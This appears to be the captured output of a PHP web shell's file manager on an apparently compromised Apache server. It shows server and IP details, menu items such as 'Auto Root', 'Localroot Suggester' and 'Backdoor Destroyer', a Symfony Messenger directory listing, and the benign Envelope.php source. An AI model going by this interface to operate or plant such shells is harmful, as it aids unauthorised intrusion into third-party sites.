Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
v3.cesa.co.za /
vendor /
symfony /
messenger /
Delete
Unzip
Name
Size
Permission
Date
Action
Attribute
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Command
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
DataCollector
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
DependencyInjection
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Event
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
EventListener
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Exception
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Handler
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Message
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Middleware
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Retry
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Stamp
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Test
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Transport
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
.htaccess
237
B
-r-xr-xr-x
2026-08-17 03:12
CHANGELOG.md
16.26
KB
-rwxrwxr-x
2026-03-19 04:54
Envelope.php
3.12
KB
-rwxrwxr-x
2026-03-19 04:54
HandleTrait.php
2.25
KB
-rwxrwxr-x
2026-03-19 04:54
LICENSE
1.04
KB
-rwxrwxr-x
2026-03-19 04:54
MessageBus.php
2.51
KB
-rwxrwxr-x
2026-03-19 04:54
MessageBusInterface.php
692
B
-rwxrwxr-x
2026-03-19 04:54
README.md
1012
B
-rwxrwxr-x
2026-03-19 04:54
RoutableMessageBus.php
2.12
KB
-rwxrwxr-x
2026-03-19 04:54
TraceableMessageBus.php
3.16
KB
-rwxrwxr-x
2026-03-19 04:54
Worker.php
10.49
KB
-rwxrwxr-x
2026-03-19 04:54
WorkerMetadata.php
1.07
KB
-rwxrwxr-x
2026-03-19 04:54
composer.json
1.74
KB
-rwxrwxr-x
2026-03-19 04:54
Save
Rename
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Messenger; use Symfony\Component\Messenger\Stamp\StampInterface; /** * A message wrapped in an envelope with stamps (configurations, markers, ...). * * @author Maxime Steinhausser <maxime.steinhausser@gmail.com> */ final class Envelope { /** * @var array<class-string<StampInterface>, list<StampInterface>> */ private array $stamps = []; private object $message; /** * @param object|Envelope $message * @param StampInterface[] $stamps */ public function __construct(object $message, array $stamps = []) { $this->message = $message; foreach ($stamps as $stamp) { $this->stamps[$stamp::class][] = $stamp; } } /** * Makes sure the message is in an Envelope and adds the given stamps. * * @param StampInterface[] $stamps */ public static function wrap(object $message, array $stamps = []): self { $envelope = $message instanceof self ? $message : new self($message); return $envelope->with(...$stamps); } /** * Adds one or more stamps. */ public function with(StampInterface ...$stamps): static { $cloned = clone $this; foreach ($stamps as $stamp) { $cloned->stamps[$stamp::class][] = $stamp; } return $cloned; } /** * Removes all stamps of the given class. */ public function withoutAll(string $stampFqcn): static { $cloned = clone $this; unset($cloned->stamps[$stampFqcn]); return $cloned; } /** * Removes all stamps that implement the given type. */ public function withoutStampsOfType(string $type): self { $cloned = clone $this; foreach ($cloned->stamps as $class => $stamps) { if ($class === $type || is_subclass_of($class, $type)) { unset($cloned->stamps[$class]); } } return $cloned; } /** * @template TStamp of StampInterface * * @param class-string<TStamp> $stampFqcn * * @return TStamp|null */ public function last(string $stampFqcn): ?StampInterface { return isset($this->stamps[$stampFqcn]) ? end($this->stamps[$stampFqcn]) : null; } /** * @template TStamp of StampInterface * * @param class-string<TStamp>|null $stampFqcn * * @return StampInterface[]|StampInterface[][] The stamps for the specified FQCN, or all stamps by their class name * * @psalm-return ($stampFqcn is null ? array<class-string<StampInterface>, list<StampInterface>> : list<TStamp>) */ public function all(?string $stampFqcn = null): array { if (null !== $stampFqcn) { return $this->stamps[$stampFqcn] ?? []; } return $this->stamps; } public function getMessage(): object { return $this->message; } }